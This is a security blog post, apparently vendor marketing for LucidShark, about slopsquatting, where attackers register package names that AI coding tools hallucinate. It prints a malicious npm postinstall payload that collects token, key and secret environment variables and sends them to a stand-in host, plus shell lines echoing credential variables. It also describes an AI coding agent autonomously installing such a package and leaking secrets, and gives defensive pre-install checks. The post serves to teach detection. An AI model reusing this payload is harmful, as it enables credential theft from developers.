DEV Community

Toni Antunovic
Toni Antunovic

Posted on • Originally published at lucidshark.com

Slopsquatting: The Attacker Playbook for AI-Hallucinated Package Names

This article was originally published on LucidShark Blog.


Typosquatting required effort. An attacker had to guess which popular package names developers might mistype, register plausible-looking variants, and then wait for the rare case where a human fat-fingered an install command. The hit rate was low because the attack surface was small: the gap between what a developer intended to type and what their fingers actually produced.

Slopsquatting inverts the economics entirely. Instead of waiting for human error, attackers harvest the systematic hallucinations of AI coding tools, then register exactly the package names that LLMs confidently invent. The attack surface is not a small set of typo variants. It is 440,000-plus hallucinated package names catalogued by researchers across Python and JavaScript ecosystems, each one a pre-registered trap waiting for an AI agent to suggest it.

This post is about the attacker side of that equation: specifically, how slopsquatting operations work, why AI agents are better victims than humans, and what detection looks like at the dependency resolution layer.

Not hypothetical: In January 2026, a researcher found an npm package called react-codeshift spreading through 237 real repositories via AI-generated agent skill files. Nobody planted it deliberately. The AI hallucinated the name, the agent executed the install, and the package propagated through forks without any human making a conscious choice to add it. It was still receiving daily download attempts from AI agents when the researcher claimed the name.

The Research Baseline

The foundational data on slopsquatting comes from a USENIX Security 2025 paper in which researchers tested 16 code-generation models across 576,000 Python and JavaScript code samples. The headline number is that AI coding tools hallucinate non-existent package names in roughly 20% of interactions, producing 440,445 unique fake dependency references.

The breakdown matters for understanding attacker targeting:

  • 51% pure fabrications: Names with no resemblance to any real package. The model invented them from scratch, typically to describe a utility it believes should exist.

  • 38% conflations: The model mashes two real package names together. express-mongoose, react-router-redux, axios-interceptor-retry. Each component is a real package. The combination is not.

  • 13% typo variants: Near-misses on real package names. These overlap with traditional typosquatting targets but are generated by the model rather than a human's fingers.

The persistence characteristic is the detail attackers exploit: when a prompt that generated a hallucination is repeated, the same hallucinated package name appears 43% of the time in subsequent queries, and 58% of all hallucinated names are repeated more than once across independent sessions. This is not random noise. It is a stable pattern that can be profiled.

Why stability matters to attackers: A hallucination that appears once is a curiosity. A hallucination that appears in 43% of sessions using a common prompt pattern is a target. If an attacker can identify which package names a specific model reliably hallucinates for a given task category, they can pre-register those names and wait. The model will do the distribution work for them.

The Attacker Playbook, Step by Step

Step 1: Model Profiling

Attackers do not guess. They run systematic prompts against publicly available models (GPT-4o, Claude Sonnet, Gemini, CodeLlama) across task categories: "write a function to parse XML in Python," "implement JWT authentication in Node.js," "add retry logic to an HTTP client." Each response is parsed for import statements and package references. Non-existent packages are logged with their originating prompt and model.

# Attacker profiling script (simplified)
import subprocess, json

prompts = [
    "Write a Python function to parse XML and extract all attributes",
    "Implement JWT token validation middleware for Express.js",
    "Add exponential backoff retry logic to an axios HTTP client",
    "Write a Python script to diff two JSON objects recursively",
    "Create a React hook for real-time WebSocket subscriptions",
]

hallucinated = {}
for prompt in prompts:
    # query model API, extract import/require statements
    # check each package name against npm/PyPI registry
    # log packages that return 404
    pass

# Output: {"requests-xml-parser": 12, "jwt-express-validator": 8,
#          "axios-retry-backoff": 19, "deep-json-diff": 6, ...}

Enter fullscreen mode Exit fullscreen mode

The output is a frequency-ranked list of hallucinated names per model, per task category. High-frequency names are the primary targets. They represent package names the model will reliably suggest to anyone performing that task category.

Step 2: Registry Availability Check and Registration

For each high-frequency hallucination, the attacker checks whether the name is already registered on npm or PyPI. Unregistered names are claimed immediately with a skeleton package that contains a malicious postinstall or preinstall lifecycle script.

{
  "name": "axios-retry-backoff",
  "version": "1.0.0",
  "description": "Axios retry with exponential backoff",
  "main": "index.js",
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  },
  "keywords": ["axios", "retry", "backoff", "http"],
  "author": "community-maintained",
  "license": "MIT"
}

Enter fullscreen mode Exit fullscreen mode
// scripts/setup.js (the actual payload)
const https = require('https');
const os = require('os');
const { execSync } = require('child_process');

const data = JSON.stringify({
  h: os.hostname(),
  u: os.userInfo().username,
  p: process.env.PATH,
  // environment variables captured here
  env: Object.keys(process.env)
    .filter(k => /TOKEN|KEY|SECRET|PASSWORD|AWS|GITHUB/i.test(k))
    .reduce((acc, k) => ({ ...acc, [k]: process.env[k] }), {})
});

// exfiltrate to attacker-controlled endpoint
const req = https.request({ host: 'telemetry-cdn.io', path: '/init', method: 'POST' });
req.write(data);
req.end();

Enter fullscreen mode Exit fullscreen mode

The package index page looks legitimate: a description matching the hallucinated name, common keywords, an MIT license. It passes a cursory visual inspection. The malicious behavior is entirely in the lifecycle script, which runs automatically on npm install.

Step 3: Waiting for AI Agents to Execute

This is where slopsquatting diverges from every prior supply chain attack pattern: the attacker does not need to inject anything into a legitimate package, compromise a maintainer account, or send a phishing email. They simply wait. Every time an AI coding agent suggests the hallucinated package name and then executes npm install, the payload runs automatically.

In an agentic workflow where the agent has filesystem and shell access, the install happens without a human confirming the package. The agent has already been given permission to install dependencies. The sequence is:

  • Developer prompts Claude Code: "Add retry logic to our HTTP client."

  • Claude Code generates code referencing axios-retry-backoff.

  • Claude Code runs npm install axios-retry-backoff autonomously.

  • The postinstall script runs, exfiltrates environment variables including GITHUB_TOKEN, AWS_ACCESS_KEY_ID, and any other secrets in the shell environment.

  • The developer's machine is now compromised. The agent continues, none the wiser.

The CISA parallel: The recent incident where a CISA administrator's AWS GovCloud keys leaked prompted a top Hacker News comment noting that AI agents routinely send .env file contents to LLM APIs. The same agent that sends your environment to a cloud LLM for context also executes installs from a registry with no verification. The attack surface is the intersection of those two behaviors.

Step 4: Scaling via Agentic Proliferation

Traditional typosquatting attacks wait for individual developers to mistype. Slopsquatting attacks scale through the viral propagation of AI-generated code. When an AI agent generates a scaffold or boilerplate containing a hallucinated dependency, that scaffold gets committed to a repository. Other developers clone it, run npm install, and execute the payload. The package spreads through forks and downstream projects.

The react-codeshift case documented 237 repository propagations from a single hallucinated reference. At that scale, one package registration becomes a multi-organization incident.

Why AI Agents Are Better Victims Than Humans

The shift from human developers to AI agents as the primary consumers of hallucinated packages changes the threat model in three ways:

No Visual Verification

A human developer who types an unfamiliar package name into a terminal might pause to search for it, check the npm page, compare the weekly download count to its claimed popularity. An AI agent running in an automated loop does not. It executes the install and moves on. The friction that protected humans in typosquatting scenarios simply does not exist.

Persistent Re-Execution

An agentic workflow that runs on a schedule, or a CI/CD pipeline where an agent is given tool access, will execute the same hallucinated install repeatedly. Each run is a new opportunity for the payload to execute. A human who installs a bad package once and notices unusual behavior will not install it again. A scheduled agent has no such feedback loop.

Elevated Permissions and Rich Environment

AI coding agents in agentic workflows typically run with the developer's full shell environment: all environment variables, all credentials, all tokens. The postinstall script of a slopsquatted package has access to everything the developer's shell has access to. That includes CI/CD tokens, cloud provider credentials, and API keys for every service the developer has authenticated against.

# What a typical developer shell environment exposes to a postinstall script
echo $GITHUB_TOKEN        # repository write access
echo $AWS_ACCESS_KEY_ID   # cloud infrastructure access
echo $NPM_TOKEN           # ability to publish to npm as the developer
echo $DATABASE_URL        # direct database connection string
echo $STRIPE_SECRET_KEY   # payment processor access
echo $OPENAI_API_KEY      # LLM API billing access

Enter fullscreen mode Exit fullscreen mode

The SAP CAP npm attack of April 2026, where four packages with 572,000 combined weekly downloads carried malicious preinstall hooks, demonstrated that the payload execution model works at scale. Slopsquatting is that same execution model, but with the distribution problem solved by AI hallucinations rather than compromising a legitimate maintainer.

Detection at the Dependency Resolution Layer

The effective detection point for slopsquatting is not at the code generation step. You cannot reliably prompt an LLM to only suggest real packages. The effective detection point is between the npm install invocation and the actual registry resolution: a layer that checks whether the package being installed existed before the current session, has meaningful download history, and has provenance attestations.

What to Check Before Any Install

# Pre-install validation script (integrate with pre-commit or agent tooling)
#!/usr/bin/env bash

PACKAGE=$1

# 1. Check if package exists in registry
NPM_DATA=$(curl -sf "https://registry.npmjs.org/${PACKAGE}" 2>/dev/null)
if [ $? -ne 0 ]; then
  echo "BLOCK: Package '${PACKAGE}' not found in npm registry."
  exit 1
fi

# 2. Check weekly download count (low count = red flag)
DOWNLOADS=$(curl -sf "https://api.npmjs.org/downloads/point/last-week/${PACKAGE}" \
  | python3 -c "import sys,json; print(json.load(sys.stdin).get('downloads',0))")
if [ "$DOWNLOADS" -lt 100 ] 2>/dev/null; then
  echo "WARN: Package '${PACKAGE}' has only ${DOWNLOADS} downloads last week."
fi

# 3. Check publish date (very new package = red flag)
CREATED=$(echo "$NPM_DATA" | python3 -c \
  "import sys,json; d=json.load(sys.stdin); print(list(d.get('time',{}).keys())[0] if d.get('time') else 'unknown')")
echo "INFO: Package '${PACKAGE}' first published: ${CREATED}"

# 4. Check for postinstall/preinstall scripts
HAS_LIFECYCLE=$(echo "$NPM_DATA" | python3 -c \
  "import sys,json; d=json.load(sys.stdin); \
   scripts=d.get('versions',{}).get(d.get('dist-tags',{}).get('latest',''),{}).get('scripts',{}); \
   print('YES' if any(k in scripts for k in ['postinstall','preinstall','install']) else 'NO')")
if [ "$HAS_LIFECYCLE" = "YES" ]; then
  echo "WARN: Package '${PACKAGE}' has lifecycle scripts. Review before installing."
fi

Enter fullscreen mode Exit fullscreen mode

The Lockfile as a Defense Boundary

Once a package is in your lockfile after passing validation, subsequent installs resolve to the exact version and hash you verified. The lockfile is a trust boundary: nothing new enters without a deliberate install command that can be intercepted and checked. This is why maintaining a strict lockfile and running npm ci (which fails on lockfile changes) rather than npm install in production contexts matters enormously in an agentic workflow.

# .npmrc configuration to reduce install-time attack surface
audit=true
fund=false
ignore-scripts=false  # keep this false and audit scripts instead

# In CI/CD, use:
npm ci --ignore-scripts  # install from lockfile, skip all lifecycle scripts
# Then run only the scripts you explicitly trust

Enter fullscreen mode Exit fullscreen mode

The provenance gap: npm provenance attestations (OIDC-based, introduced in 2023) verify that a package was built from a specific repository commit via a specific CI/CD pipeline. The TanStack supply chain attack demonstrated that even valid OIDC provenance can be bypassed when a maintainer's token is compromised. Provenance is a necessary signal but not a sufficient one. Slopsquatted packages, being attacker-registered from the start, will never have provenance attestations. That absence is itself a signal.

What the Hallucination Frequency Data Tells You

The USENIX research established that hallucinations follow predictable patterns per model. This means you can use the same profiling methodology defensively: run your own prompts through the AI tools your team uses, capture the package suggestions, and audit which suggested packages have low install counts, recent creation dates, or no provenance attestations.

This is not a one-time audit. As models are updated, hallucination patterns shift. The defensive version of attacker Step 1 is an ongoing process, not a point-in-time check.

# Defensive hallucination profiling (run monthly against your tool stack)
import json, urllib.request

def check_package_legitimacy(package_name: str, ecosystem: str = "npm") -> dict:
    """
    Returns risk signals for a package name.
    Used to validate AI-suggested dependencies before install.
    """
    result = {"package": package_name, "exists": False, "risk_signals": []}

    if ecosystem == "npm":
        url = f"https://registry.npmjs.org/{package_name}"
        try:
            with urllib.request.urlopen(url, timeout=5) as resp:
                data = json.loads(resp.read())
                result["exists"] = True

                # Check creation date
                times = data.get("time", {})
                if "created" in times:
                    result["created"] = times["created"]

                # Check download proxy (requires separate API call)
                latest = data.get("dist-tags", {}).get("latest", "")
                scripts = data.get("versions", {}).get(latest, {}).get("scripts", {})
                if any(k in scripts for k in ["postinstall", "preinstall", "install"]):
                    result["risk_signals"].append("lifecycle_scripts_present")

                # No provenance = red flag for any package suggested by AI
                if not data.get("versions", {}).get(latest, {}).get("_attestations"):
                    result["risk_signals"].append("no_provenance_attestation")

        except Exception:
            result["risk_signals"].append("registry_404_does_not_exist")

    return result

# Example output for a slopsquatted package:
# {
#   "package": "axios-retry-backoff",
#   "exists": True,
#   "created": "2026-04-17T09:23:41.000Z",  # recent creation
#   "risk_signals": ["lifecycle_scripts_present", "no_provenance_attestation"]
# }

Enter fullscreen mode Exit fullscreen mode

The Agentic Amplification Problem

Every improvement in agentic coding capabilities makes slopsquatting a more attractive attack vector. As agents gain longer context windows and more autonomous tool use, they handle larger codebases and more complex dependency graphs. Each additional dependency in a large codebase is an opportunity for a hallucinated name to slip through.

The agentic autonomy that makes these tools productive, running installs, scaffolding projects, updating dependencies without waiting for human confirmation, is the same autonomy that removes the last friction point that might have caught a slopsquatted package before execution.

The countermeasure is not to reduce agent autonomy. It is to add a validation layer at the install boundary that the agent invokes as part of its own tool loop. When the agent's install tool checks the registry, verifies download history, and requires explicit confirmation for any package with risk signals, the agent's autonomy is preserved while the attack surface is closed.

LucidShark's SCA check runs before any AI agent can install an unvetted dependency.

LucidShark's pre-commit SCA scanner resolves every new package addition against the npm and PyPI registries, checks download counts, flags lifecycle scripts, and surfaces provenance gaps. When a slopsquatted package is staged for commit, the hook fails with a structured error that Claude Code can read and act on: remove the hallucinated dependency, find the legitimate alternative, and re-stage.

The check runs locally in under 200ms. No cloud service, no per-seat pricing, no dependency on external availability. Your environment variables never leave your machine. The agent's correction loop happens in the same session, before the bad package ever reaches your lockfile.

Install LucidShark for free at lucidshark.com and configure dependency validation for Claude Code in under five minutes.

Top comments (0)